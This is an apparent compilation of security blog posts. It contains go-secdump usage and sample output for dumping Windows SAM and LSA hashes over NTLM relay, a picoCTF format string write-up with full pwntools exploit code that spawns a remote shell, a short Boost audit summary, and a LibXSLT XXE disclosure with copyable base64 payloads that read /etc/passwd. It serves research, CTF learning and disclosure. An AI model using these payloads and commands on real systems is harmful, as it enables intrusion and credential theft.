./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Dump only SAM, LSA, or DCC2 cache secrets

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2

NTLM Relaying

Dump registry secrets using NTLM relaying

Start listener

./go-secdump --host -n --relay

Trigger an auth to your machine from a client with administrative access to somehow and then wait for the dumped secrets.

YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from
YYYY/MM/DD HH:MM:SS smb [Notice] Client ( successfully authenticated as (domain.local\Administrator) against (!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)


Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.

When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.

./ntlmrelayx.py -socks -t -smb2support --no-http-server --no-wcf-server --no-raw-server

./go-secdump --host --user Administrator -n --socks-host --socks-port 1080

Format String Exploitation: A Hands-On Exploration for Linux

23 May 2024 at 11:00
Format String Exploitation Featurerd Image


This blogpost covers a Capture The Flag challenge that was part of the 2024 picoCTF event that lasted until Tuesday 26/03/2024. With a team from NVISO, we decided to participate and tackle as many challenges as we could, resulting in a rewarding 130th place in the global scoreboard. I decided to try and focus on the binary exploitation challenges. While having followed Corelan’s Stack & Heap exploitation on Windows courses, Linux binary exploitation was fairly new to me, providing a nice challenge while trying to fill that knowledge gap.

The challenge covers a format string vulnerability. This is a type of vulnerability where submitted data of an input string is evaluated as an argument to an unsafe use of e.g., a printf() function by the application, resulting in the ability to read and/or write to memory. The format string 3 challenge provides 4 files:

These files are provided to analyze the vulnerability locally, but the goal is to craft an exploit to attack a remote target that runs the vulnerable binary.

The steps of the final exploit:

  1. Fetch the address of the setvbuf function in libc. This is actually provided by the vulnerable binary itself via a puts() function to simulate an information leak printed to stdout,
  2. Dynamically calculate the base address of the libc library,
  3. Overwrite the puts function address in the Global Offset Table (GOT) with the system function address using a format string vulnerability.

For step 2, it’s important to calculate the address dynamically (vs statically/hardcoded) since we can validate that the remote target loads modules at different addresses every time it’s being run. We can verify this by running the binary multiple times, which provides different memory addresses each time it is being run. This is due to the combination of Address Space Layout Randomization (ASLR) and the Position Independent Executable (PIE) compiler flag. The latter can be verified by using readelf on our binary since the binary is provided as part of the challenge.

Interesting resource to learn more about the difference between these mitigations: ASLR/PIE – Nightmare (guyinatuxedo.github.io)

Then, by spawning a shell, we can read and submit the flag file content to solve the challenge.

Vulnerability Details

Background on string formatting

The challenge involved a format string vulnerability, as suggested by its name and description. This vulnerability arises when user input is directly passed and used as arguments to functions such as the C library’s printf() and its variants:

int printf(const char *format, ...)
int fprintf(FILE *stream, const char *format, ...)
int sprintf(char *str, const char *format, ...)
int vprintf(const char *format, va_list arg)
int vsprintf(char *str, const char *format, va_list arg)

Even with input validation in place, passing input directly to one of these functions (think: printf(input)) should be avoided. It’s recommended to use placeholders and string formatting such as printf("%s", input) instead.

The impact of a format string vulnerability can be divided in a few categories:

  • Ability to read values on the stack
  • Arbitrary memory reads
  • Arbitrary memory writes

In the case where arbitrary memory writes are possible, an adversary may obtain full control over the execution flow of the program and potentially even remote code execution.

Background on Global Offset Table

Both the Procedure Linkage Table (PLT) & Global Offset Table (GOT) play a crucial role in the execution of programs, especially those compiled using shared libraries – almost any binary running on a modern system.

The GOT serves as a central repository for storing addresses of global variables and functions. In the current context of a CTF challenge featuring a format string vulnerability, understanding the GOT is crucial. Exploiting this vulnerability involves manipulating the addresses stored in the GOT to redirect program flow.

When an executable is programmed in C to call function and is compiled as an ELF executable, the function will be compiled as function@plt. When the program is executed, it will jump to the PLT entry of function and:

  • If there is a GOT entry for function, it jumps to the address stored there;
  • If there is no GOT entry, it will resolve the address and jump there.

An example of the first option, where there is a GOT entry for function, is depicted in the visual below:

During the exploitation process, our goal is to overwrite entries in the GOT with addresses of our choosing. By doing so, we can redirect the program’s execution to arbitrary locations, such as shellcode or other parts of memory under our control.

Reviewing the source code

We are provided with the following source code:

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};


	fgets(buf, 1024, stdin);	


	return 0;

Since we have a compiled version provided from the challenge, we can proceed and make it executable. We then do a test run, which provides the following output:

# Making both the executable & linker executable
chmod u+x format-string-3 ld-linux-x86-64.so.2

# Executing the binary

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f7c778eb3f0

# This is our input, ending with <enter>


We note a couple of things:

  • The binary provides us with the memory address of the setvbuf function in the libc library,
  • We have a way of providing a string as input which is read by the fgets function and printed back in an unsafe manner using printf,
  • The program finishes with a puts() function call that writes /bin/sh to stdout.

This is hinting towards a memory address overwrite of the puts() function to replace it with the system() function address. As a result, it will then execute system("/bin/sh") and spawn a shell.

Vulnerability #1: Memory Leak

If we take another look at the source code above, we notice the following line in the hello() function:

printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);

Here, the creators of the challenge intentionally leak a memory address to make the challenge easier. If not, we would have to deal with finding an information leak ourselves to bypass Address Space Layout Randomization (ASLR), if enabled.

We can still treat this as an actual information leak that provides us a memory address during runtime. We will use this information to dynamically calculate the base address of the libc library based on the setvbuf function address in the exploitation section below.

Vulnerability #2: Format String Vulnerability

In the test run above we provided a simple test string as input to the program, which was printed back to stdout via the puts(buf) function call. In an excellent paper that can be found here, we learned that we can use format specifiers in C to:

  • Read arbitrary stack values, using format specifiers such as %x (hexadecimal) or %p (pointers),
  • Read from arbitrary memory addresses using a combination of %c to move the argument pointer and %s to print the contents of memory starting from an address we specify in our input string,
  • Write to arbitrary memory addresses by controlling the output counter using %mc, which will increase the output counter with m. Then, we can write the output counter value to memory using %n, again if we provide the memory address correctly as part of our input string.

Even though the source code already indicates that our input is unsafely processed and parsed as an argument for the printf() function, we can verify that we have a format string vulnerability here by providing %p as input, which should read a value as a pointer and print it back to us:

# Executing the binary

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f2818f423f0

# This is our input, ending with <enter>

# This is the output of the printf(buf) function call
# This now prints back a value as a pointer

The challenge preceding format string 3, called format string 2, actually provided very good practice to get to know format string specifiers and how you can abuse them to read from memory and write to memory. Highly recommended!


We are now armed with an information leak that provides us a memory address and a format string vulnerability. Let’s try and combine these two to get code execution on our remote system.

Calculating input string offset

Before we can really start, there is something we need to address: how do we know where our input string is located in memory once we have sent it to the program? And why does this even matter?

Let’s first have a look at the input AAAAAAAA%2$p. This provides 8 A characters, and then a format specifier to read the 2nd argument to the printf() function, which will, in this case, be a value from memory:

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fa5ae99b3f0

Ideally (we’re explaining why later), we have a format specifier %n$p where n is an offset to point exactly at the start of our input string. You can do this manually (%p, %2$p, %3$p…) until %p points to your input string, but I did this using gdb:

# Open the program in gdb
gdb format-string-3

# Put a breakpoint at the puts function
b puts

# Run the program

# Continue the program since it will hit the breakpoint 
# on the first puts call in our program (Howdy Gamers !)

# Provide our input AAAAAAAA followed by <enter>

The program should now hit the breakpoint on puts() again, after which we can look at the stack using context_stack 50 to print 50×8 bytes on the stack. You should be able to identify your input string on the 33rd line, which we can easily calculate by dividing the number of bytes by 8:

Calculating offset based on stack line position.

You could assume that 33 is the offset we need, but there’s a catch:

From https://lettieri.iet.unipi.it/hacking/format-strings.pdf:

On 64b systems, the first 5 %lx will print the contents of the rsi, rdx, rcx, r8, and r9, and any additional %lx will start printing successive 8-byte values on the stack.

This means we need to add 5 to our offset to compensate for the 5 registers, resulting in a final offset of 38, as can be seen in the following visual:

Offset calculation arbitrary read
Created using Excalidraw

The offset displayed on top of the visual indicates the relative offset from the start of the stack.

This offset now points exactly to the start of our input string:

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7ff5ed4873f0

AAAAAAAA is converted to 0x4141414141414141 in hexadecimal since we are printing the input string as a pointer using %p.

Now the (probably) more critical question to understand the answer to: why does it matter that we know how to point to our input string in memory? Up until this point, we have only been reading our own string in memory. What will happen when we replace our %p format specifier to read, to the %n format specifier?

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f4bfd3ff3f0
zsh: segmentation fault  ./format-string-3

We get a segmentation fault. What is going on? Our input string now tries to write the value of the output counter to the memory address we were pointing to before with %p, which is… our input string itself.

This means we now have control over where we can write values since we control the input string. We can also modify what we are writing to memory as long as we can control the output counter. We also have control over this, as explained before:

Write to arbitrary memory addresses by controlling the output counter using %mc, which will increase the output counter with m.

By changing the format specifier, we now executed the following:

Offset calculation arbitrary write
Created using Excalidraw

To clearly grasp the concept: if we change our input string to BBBBBBBB, we will now write to 0x4242424242424242 instead, indicating we can control to which memory address we are writing something by modifying our input string.

In this case, we received a segmentation fault since the memory at 0x4141414141414141 is not writeable (page protections, not mapped…). In the next part, we’re going to convert our arbitrary write primitive to effectively do something useful by overwriting an entry in the Global Offset Table.

Local Exploitation

Let’s take a step back and think what we logically need to do. We need to:

  1. Fetch the address of our setvbuf function in the libc library, provided by the program,
  2. From this address, calculate the base address of libc,
  3. Send a format string payload that overwrites the puts function address in the GOT with the system function address in libc,
  4. Continue execution to give control to the operator.

We are going to use the popular pwntools library for Python 3 to help us out quite a bit.

First, let’s attach to our program and print the lines until we hit the libc: output string, then store the memory address in an integer:

from pwn import *

p = process("./format-string-3")

info(p.recvline())              # Fetch Howdy Gamers!
info(p.recvuntil("libc: "))     # Fetch line right before setvbuffer address

# Get setvbuffer address
bytes_setvbuf_address = p.recvline()

# Convert output bytes to integer to store and work with our address
setvbuf_leak = int(bytes_setvbuf_address.split(b"x")[1].strip(),16)
info("Received setvbuf address leak: %s", hex(setvbuf_leak))

### Sample Output
[+] Starting local process './format-string-3': pid 216507
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7fb19acc83f0
[*] Stopped process './format-string-3' (pid 216507)

Second, we manually load libc to be able to set its base address to match our (now local, but future remote) target libc base address. We do this by subtracting the setvbuf function address from our manually loaded libc from our leaked function address:

libc = ELF("./libc.so.6")
info("Calculating libc base address...")
libc.address = setvbuf_leak - libc.symbols['setvbuf']
info("libc base address: %s", hex(libc.address))

### Sample Output
[+] Starting local process './format-string-3': pid 219013
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7f25a21de3f0
[*] Calculating libc base address...
[*] libc base address: 0x7f25a2164000
[*] Stopped process './format-string-3' (pid 219013)

Finally, we can utilize the fmstr_payload function of pwntools to easily write:

  • What: the system function address in libc
  • Where: the puts entry in the GOT of our binary

Before actually executing and sending our payload, let’s make sure we understand what’s happening. We start by noting down the addresses of:

  • the system function address in libc (0x7f852ddca760)
  • the puts entry in the GOT of our binary (0x404018)

next to the payload we are going to send in an interactive Python prompt, for demonstration purposes:

>>> elf = context.binary = ELF('./format-string-3')
>>> hex(libc.symbols['system'])
>>> hex(elf.got['puts'])
>>> fmtstr_payload(38, {elf.got['puts'] : libc.symbols['system']})

You can divide the payload in different blocks, each serving the purpose we expected, although it’s quite a step up from what we’ve manually done before. We can identify the pattern %mc%n$hhn (or ending lln), which:

  • Increases the output counter with m (note that the output counter does not necessarily start at 0)
  • Writes the value of the output counter to the address selected by %n$hhn. The first n selects the relevant entry on the stack where our input string memory address is located. The second part, $hhn, resembles our expected %n format specifier, but the double hh is a modifier to truncate the output counter value to the size of a char, thus allowing us to write 1 byte.
Offset calculation precision write
Created using Excalidraw

Let’s now analyze the payload and calculate ourselves for 1 write operation to understand how the payload works. We have %96c%47$lln as the first block of our payload, which can be logically seen as a write operation. This:

  • Increases the output counter with 96h (hex) or 150d (decimal)
  • Writes the current value of the output counter (n, truncated by a long long (ll), or 8 bytes, to the memory address specified at offset 42:

As you can see in the payload above, offset 42 will correspond with \x18@@\x00\x00\x00\x00\x00, which is further down our payload. @ is \x40 in hex, so our target address matches the value for the puts entry in the GOT if we swap the endianness: \x00\x00\x00\x00\x00\x40\x40\x18, or 0x404018. This clearly indicates we are writing to the correct memory location, as expected.

You’ll notice that aaaabaa is also part of our payload: this serves as padding to correctly align our payload to have 8-byte addresses on the stack. The start of an offset on the stack should contain exactly the start of our 8-byte memory address to write to, since we’re working on a 64-bit system. If no padding is present, a reference to an offset would start in the middle of a memory address.

After writing, the payload will continue with processing the next block %31c%48$hhn, which again increases the output counter and writes to the next offset (43). This offset contains our next address. The payload will continue until 6 blocks are executed, which corresponds to 6 %…%n statements.

Now that we understand the payload, we load the binary using ELF and send our payload to our target process, after which we give interactive control to the operator:

elf = context.binary = ELF('./format-string-3')
info("Creating format string payload...")
payload = fmtstr_payload(38, {elf.got['puts'] : libc.symbols['system']})

# Ready to send payload!
info("Sending payload...")

# Give control to the shell to the operator
info("Payload successfully sent, enjoy the shell!")

The fmtstr_payload function really does a lot of heavy lifting for us combined with the elf and libc references. It effectively writes the complete address of libc.symbols[‘system’] to the location where elf.got[‘puts’] originally was in memory by precisely modifying the output counter and executing memory write operations.

### Sample Output
[+] Starting local process './format-string-3': pid 227263
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7fa7c29473f0
[*] '/home/kali/picoctf/libc.so.6'
[*] Calculating libc base address...
[*] libc base address: 0x7fa7c28cd000
[*] '/home/kali/picoctf/format-string-3'
[*] Creating format string payload...
[*] Sending payload...
[*] Payload successfully sent, enjoy the shell!
[*] Switching to interactive mode
$ whoami

We successfully exploited the format string vulnerability and called system('/bin/sh'), resulting in an interactive shell!

Remote Exploitation

Switching to remote exploitation is trivial in this challenge, since we can simply reuse the local files to do our calculations. Instead of attaching to a local process using p = process("./format-string-3"), we substitute this by connecting to a remote target:

# Define remote targets
target_host = "rhea.picoctf.net"
target_port = 62200

# Connect to remote process
p = remote(target_host, target_port)

Note that you’ll need to substitute the port that is provided to you after launching the instance on the picoCTF platform.

### Sample Output
[*] Payload successfully sent, enjoy the shell!
[*] Switching to interactive mode
$ ls flag.txt

That concludes the exploit, after which we can submit our flag. In a real world scenario, getting this kind of remote code execution would clearly be a great risk.


The preceding challenges that lead up to this challenge (format string 0, 1, 2) proved to be a great help in understanding format string vulnerabilities and how to exploit them. Since Linux exploitation is a new topic to me, this was a great way to practice these types of vulnerabilities during a fun event.

Format string vulnerabilities are less common than they used to be, however, our IoT colleagues assured me they encountered some recently during an IoT device assessment.

That’s why it’s important to adhere to:

  • Input Validation
  • Limit User-Controlled Input
  • Enable (or pay attention to already enabled) compiler warnings for format string vulnerabilities
  • Secure Coding Practices

This should greatly limit the risk of format string vulnerabilities still being present in current day applications.


About the author

Wiebe Willems picture.

Wiebe Willems

Wiebe Willems is a Cyber Security Researcher active in the Research & Development team at NVISO. With his extensive background in Red & Purple Teaming, he is now driving the innovation efforts of NVISO’s Red Team forward to deliver even better advisory to its clients.

Wiebe honed his skills by getting certifications for well-known Red Teaming trainings, next to taking deeply technical courses about stack & heap exploitation.

Boost Security Audit

22 May 2024 at 14:45
TL;DR Shielder, with OSTIF and Amazon Web Services, performed a Security Audit on a subset of the Boost C++ libraries. The audit resulted in five (5) findings ranging from low to medium severity plus two (2) informative notices. The Boost maintainers of the affected libraries addressed some of the issues, while some other were acknowledged as accepted risks. Today, we are publishing the full report in our dedicated repository. Introduction In December 2023, Shielder was hired to perform a Security Audit of Boost, a set of free peer-reviewed portable C++ source libraries.

Getting XXE in Web Browsers using ChatGPT

By: admin
22 May 2024 at 14:12

A year ago, I wondered what a malicious page with disabled JavaScript could do.

I knew that SVG, which is based on XML, and XML itself could be complex and allow file access. Is the Same Origin Policy (SOP) correctly implemented for all possible XML and SVG syntaxes? Is access through the file:// protocol properly handled?

Since I was too lazy to read the documentation, I started generating examples using ChatGPT.


The technology I decided to test is XSL. It stands for eXtensible Stylesheet Language. It’s a specialized XML-based language that can be used within or outside of XML for modifying it or retrieving data.

In Chrome, XSL is supported and the library used is LibXSLT. It’s possible to verify this by using system-property('xsl:vendor') function, as shown in the following example.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="system-properties.xsl" type="text/xsl"?>  
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /> <br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />

Here is the output of the system-properties.xml file, uploaded to the local web server and opened in Chrome:

The LibXSLT library, first released on September 23, 1999, is both longstanding and widely used. It is a default component in Chrome, Safari, PHP, PostgreSQL, Oracle Database, Python, and numerous others applications.

The first interesting XSL output from ChatGPT was a code with functionality that allows you to retrieve the location of the current document. While this is not a vulnerability, it could be useful in some scenarios.

<?xml-stylesheet href="get-location.xsl" type="text/xsl"?>  
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
<getLocation test="ent"/>
<xsl:stylesheet version="1.0"  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
  <xsl:output method="html"/>  
  <xsl:template match="getLocation">  
          <input type="text" value="{unparsed-entity-uri(@test)}" />  

Here is what you should see after uploading this code to your web server:

All the magic happens within the unparsed-entity-uri() function. This function returns the full path of the “ent” entity, which is constructed using the relative path “?”.

XSL and Remote Content

Almost all XML-based languages have functionality that can be used for loading or displaying remote files, similar to the functionality of the <iframe> tag in HTML.

I asked ChatGPT many times about XSL’s content loading features. The examples below are what ChatGPT suggested I use, and the code was fully obtained from it.

XML External Entities

Since XSL is XML-based, usage of XML External Entities should be the first option.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">

XInclude is an XML add-on that’s described in a W3C Recommendation from November 15, 2006.

<?xml version="1.0"?>
<test xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd"/>
XSL‘s <xsl:import> and <xsl:include> tags

These tags can be used to load files as XSL stylesheets, according to ChatGPT.

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd"/>
  <xsl:import href="file:///etc/passwd"/>
XSL’s document() function

XSL’s document() function can be used for loading files as XML documents.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet  version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>


Using an edited ChatGPT output, I crafted an XSL file that combined the document() function with XML External Entities in the argument’s file, utilizing the data protocol. Next, I inserted the content of the XSL file into an XML file, also using the data protocol.

When I opened my XML file via an HTTP URL from my mobile phone, I was shocked to see my iOS /etc/hosts file! Later, my friend Yaroslav Babin(a.k.a. @yarbabin) confirmed the same result on Android!

iOS + Safari
iOS + Safari
iOS + Safari
Android + Chrome
Android + Chrome
Android + Chrome

Next, I started testing offline HTML to PDF tools, and it turned out that file reading works there as well, despite their built-in restrictions.

There was no chance that this wasn’t a vulnerability!

Here is a photo of my Smart TV, where the file reading works as well:

I compiled a table summarizing all my tests:

Test ScenarioAccessible Files
Android + Chrome/etc/hosts
iOS + Safari/etc/group, /etc/hosts, /etc/passwd
Windows + Chrome–
Ubuntu + Chrome–
PlayStation 4 + Chrome–
Samsung TV + Chrome/etc/group, /etc/hosts, /etc/passwd

The likely root cause of this discrepancy is the differences between sandboxes. Running Chrome on Windows or Linux with the --no-sandbox attribute allows reading arbitrary files as the current user.

Other Tests

I have tested some applications that use LibXSLT and don’t have sandboxes.

PHPApplications that allow control over XSLTProcessor::importStylesheet data can be affected.
XMLSECThe document() function did not allow http(s):// and data: URLs.
OracleThe document() function did not allow http(s):// and data: URLs.
PostgreSQLThe document() function did not allow http(s):// and data: URLs.

The default PHP configuration disables parsing of external entities XML and XSL documents. However, this does not affect XML documents loaded by the document() function, and PHP allows the reading of arbitrary files using LibXSLT.

According to my tests, calling libxml_set_external_entity_loader(function ($a) {}); is sufficient to prevent the attack.


You will find all the POCs in a ZIP archive at the end of this section. Note that these are not zero-day POCs; details on reporting to the vendor and bounty information will be also provided later.

First, I created a simple HTML page with multiple <iframe> elements to test all possible file read functionalities and all possible ways to chain them:

The result of opening the xxe_all_tests/test.html page in an outdated Chrome

Open this page in Chrome, Safari, or Electron-like apps. It may read system files with default sandbox settings; without the sandbox, it may read arbitrary files with the current user’s rights.

As you can see now, only one of the call chains leads to an XXE in Chrome, and we were very fortunate to find it. Here is my schematic of the chain for better understanding:

Next, I created minified XML, SVG, and HTML POCs that you can copy directly from the article.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE svg [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
<svg location="ent" />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgdHlwZT0iaHRtbCIvPgo8eHNsOnRlbXBsYXRlIG1hdGNoPSJ0ZXN0MSI+CjxodG1sPgpMaWJyYXJ5OiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0ic3lzdGVtLXByb3BlcnR5KCd4c2w6dmVuZG9yJykiIC8+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlcnNpb24nKSIgLz48YnIgLz4gCkxvY2F0aW9uOiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0idW5wYXJzZWQtZW50aXR5LXVyaShAbG9jYXRpb24pIiAvPiAgPGJyLz4KWFNMIGRvY3VtZW50KCkgWFhFOiAKPHhzbDpjb3B5LW9mICBzZWxlY3Q9ImRvY3VtZW50KCdkYXRhOiwlM0MlM0Z4bWwlMjB2ZXJzaW9uJTNEJTIyMS4wJTIyJTIwZW5jb2RpbmclM0QlMjJVVEYtOCUyMiUzRiUzRSUwQSUzQyUyMURPQ1RZUEUlMjB4eGUlMjAlNUIlMjAlM0MlMjFFTlRJVFklMjB4eGUlMjBTWVNURU0lMjAlMjJmaWxlOi8vL2V0Yy9wYXNzd2QlMjIlM0UlMjAlNUQlM0UlMEElM0N4eGUlM0UlMEElMjZ4eGUlM0IlMEElM0MlMkZ4eGUlM0UnKSIvPgo8L2h0bWw+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
<test1 location="ent"/>
<title>LibXSLT document() XXE tests</title>
SVG WIN<br/>
XML WIN<br/>

ZIP archive for testing: libxslt.zip.

The Bounty

All findings were immediately reported to the vendors.


Apple implemented the sandbox patch. Assigned CVE: CVE-2023-40415. Reward: $25,000. 💰


Google implemented the patch and enforced security for documents loaded by the XSL’s document() function. Assigned CVE: CVE-2023-4357. Reward: $3,000. 💸


Feel free to write your thoughts about the article on our X page. Follow @ptswarm so you don’t miss our future research and other publications.